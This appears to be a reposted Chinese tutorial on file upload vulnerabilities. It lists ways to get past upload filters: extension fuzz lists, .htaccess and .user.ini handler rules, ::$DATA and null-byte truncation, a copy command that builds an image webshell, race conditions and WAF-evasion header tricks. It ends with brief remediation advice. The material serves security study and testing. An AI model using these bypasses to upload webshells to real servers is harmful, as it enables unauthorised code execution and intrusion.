微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

文件上传漏洞

文件上传

文件上传漏洞是指文件上传功能没有对上传文件做合理严谨的过滤,导致用户可以利用此功能上传被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力

上传绕过

类型判断

常规上传

前端绕过

使用Burp等抓包工具修改文件后缀/类型

后端绕过

文件上传常见验证:

黑名单绕过

尝试特殊后缀(可能未过滤完全)

利用Burp fuzz测试
PHP:

".PHP",".PHP5",".PHP4",".PHP3",".PHP2","PHP1",".html",".htm",".phtml",".pht",".PHP",".PHP5",".PHP4",".PHP3",".PHP2","PHP1",".Html",".Htm",".pHtml"

JSP:

".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml"

ASP:

".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
后缀大小写绕过

躲避黑名单检测

重写解析规则

(1)Apache下 非nts版本PHP时:利用.htaccess文件绕过
条件:LoadModule rewrite_module modules/mod_rewrite.so rewrite模块为开启状态


<IfModule mime_module>
AddHandler PHP5-script .gif          #在当前目录下,只针对gif文件会解析成PHP代码执行
SetHandler application/x-httpd-PHP    #在当前目录下,所有文件都会被解析成PHP代码执行
</IfModule>

<FilesMatch "evil.gif">
SetHandler application/x-httpd-PHP   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler PHP5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>

(2).user.ini
AddType application/x-httpd-PHP .jpg
将所有后缀为.jpg的文件作为PHP文件解析

<FilesMatch "BaiZe">
setHandler application/x-httpd-PHPBZ
将所有文件名包含BaiZe的文件作为PHP文件解析
文件后缀增加 空格 . _ 尝试绕过(WIndows下)

一般用于Windows服务器,添加空格躲避黑名单检测,上传后系统系统自动去除文件名中空格。

::$DATA绕过

在Windows的时候如果"文件名"+"::$DATA" 会把"::$DATA"之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件

替换文件名中敏感词

一次过滤:可以双写绕过
循环过滤:较为安全

白名单绕过

%00绕过 终止符

%00只针对GET传参,POST传参不能识别URL编码,所以需要在POST内容中进行URL解码 或 修改Hex值为00

图片内容及其它

文件头检测

修改文件头信息或使用图片

图片马绕过

copy pho.jpg/b+hack.PHP/a hack.jpg
利用copy命令合成图片马,配合解析漏洞执行

二次渲染 条件竞争逻辑绕过(针对先上传再检测的web网站)

上传生成木马 不断上传并尝试访问 直到执行成功
file_put_contents('2.PHP','');

文件路径控制

upload/upload-19.PHP/.
upload/upload-19.PHP[截断].jpg

数组绕过

后端用数组判断文件后缀
可直接上传对应数组绕过检测
黑盒时依次遍历数组元素,传输规定后缀测试是否为数组后缀检测

编辑器上传

关键词:Editor
查版本 找历史漏洞EXP fuzz

CMS上传

CMS识别->历史漏洞搜集->尝试利用

其它/CVE

WAF绕过

上传参数解析

Content-disposition:	一般可更改
name:					表单参数值,不能更改
filename:				文件名,可以更改
Content-Type:			文件MIME,视情况更改

常见绕过

数据溢出-防匹配(·文件名之前大量 垃圾数据+';'

符号变异-防匹配 ' " ; 文件名引号变换 后加分号 去一个引号

数据截断-防匹配 %00 ; 换行 / .PHP%00.jpg x.jpg;.PHP .PHP中间换行

重复数据-防匹配(参数多次) 复写filename等参数 最后一个改为PHP

文件上传修复

  • 后瑞验证:采用服务瑞验证模式

  • 后缀检测:基于黑名单,白名单过滤

  • MIME检测:基于上传自带类型检测

  • 内容检测:文件头,完整性检测

  • 自带函数过滤:参考upload-labs函数

  • 自定义函数过滤:function check file(){}时

  • 防护产品:宝塔,云盾,安全狗等

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐